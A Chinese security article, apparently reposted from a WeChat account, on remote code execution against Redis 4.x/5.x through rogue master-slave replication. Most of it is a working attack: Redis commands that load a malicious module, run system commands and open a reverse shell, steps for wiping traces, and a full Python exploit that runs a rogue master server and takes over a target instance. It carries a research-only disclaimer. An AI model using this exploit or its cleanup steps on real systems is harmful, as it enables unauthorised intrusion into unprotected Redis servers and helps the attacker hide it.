LC/BC
战队队员Pavel Toporkov
在zeronights 2018
上提出的基于主从复制的redis rce,其利用条件是Redis未授权或弱口令。恶意模块加载
MODULE LOAD
命令加载到Redis中。恶意so文件下载,下载完成后直接 make 即可
-
搭建环境
docker run -p 6300:6379 -d redis:5.0 redis-server
-
复制恶意so到容器中
docker cp /home/ubuntu/Desktop/Temp/redis-rce/exp.so Docker_ID:/data/exp.so
-
加载恶意模块
127.0.0.1:6379> module load /data/exp.so
OK
127.0.0.1:6379> system.exec "whoami"
"redisn"
主从复制
PSYNC
命令之后,一般会得到三种回复:
+FULLRESYNC:进行全量复制。
+CONTINUE:进行增量同步。
-ERR:当前master还不支持PSYNC。
RDB
文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件。#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 192.168.172.129 1234
#加载恶意模块
module load ./exp.so
#执行系统命令
system.exec 'whoami'
system.rev 127.0.0.1 9999
痕迹清除
CONFIG get * # 获取所有的配置
CONFIG get dir # 获取 快照文件 保存的 位置
CONFIG get dbfilename # 获取 快照文件 的文件名
#切断主从,关闭复制功能
slaveof no one
#恢复目录
config set dir /data
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system
利用脚本
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
import re
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"rn"
class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break
self.finish()
def finish(self):
self.request.close()
class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True
def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload
class RedisClient(object):
def __init__(self, rhost, rport):
self.client = socket.create_connection((rhost, rport), timeout=10)
def send(self, data):
data = self.encode(data)
self.client.send(data)
logging.info("send data: %r", data)
return self.recv()
def recv(self, count=65535):
data = self.client.recv(count)
logging.info("receive data: %r", data)
return data
def encode(self, data):
if isinstance(data, bytes):
data = data.split()
args = [b'*', str(len(data)).encode()]
for arg in data:
args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])
args.append(DELIMITER)
return b''.join(args)
def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore')
offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
return data.decode(errors='ignore')
def exploit(rhost, rport, lhost, lport, expfile, command, auth):
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read())
client = RedisClient(rhost, rport)
lhost = lhost.encode()
lport = str(lport).encode()
command = command.encode()
if auth:
client.send([b'AUTH', auth.encode()])
authTest = client.send([b'info'])
if "NOAUTH" in str(authTest, encoding = "utf8"):
return "[-] Authentication required.Use: -a Redis_Password"
# Backup the configuration information
conf = client.send([b'CONFIG',b'get',b'*'])
conf = str(conf, encoding = "utf8")
with open('conf.txt', 'w') as file:
file.write(conf)
# Version detecting
info = client.send([b'info'])
info = str(info, encoding = "utf8")
res = re.search(r'.*redis_version:(d+)..*',info)
if res.groups():
version = res.groups()[0]
if version != '4' and version != '5':
return "[-] Version Error.only exists in version 4.x/5.x"
client.send([b'SLAVEOF', lhost, lport])
client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
time.sleep(2)
server.handle_request()
time.sleep(2)
client.send([b'MODULE', b'LOAD', b'./exp.so'])
client.send([b'SLAVEOF', b'NO', b'ONE'])
client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
resp = client.send([b'system.exec', command])
client.send([b'MODULE', b'UNLOAD', b'system'])
return "[+]RCE Successfully! Result: " + decode_command_line(resp)
def main():
parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
parser.add_argument("-p", "--rport", dest="rport", type=int,
help="target redis port, default 6379", default=6379)
parser.add_argument("-L", "--lhost", dest="lhost", type=str,
help="rogue server ip", required=True)
parser.add_argument("-P", "--lport", dest="lport", type=int,
help="rogue server listen port, default 21000", default=21000)
parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')
parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
options = parser.parse_args()
filename = options.file
if not os.path.exists(filename):
logging.info("Where you module? ")
sys.exit(1)
result = exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)
print(result)
if __name__ == '__main__':
main()
原文始发于微信公众号(SAINTSEC):Redis数据库主从复制RCE影响分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论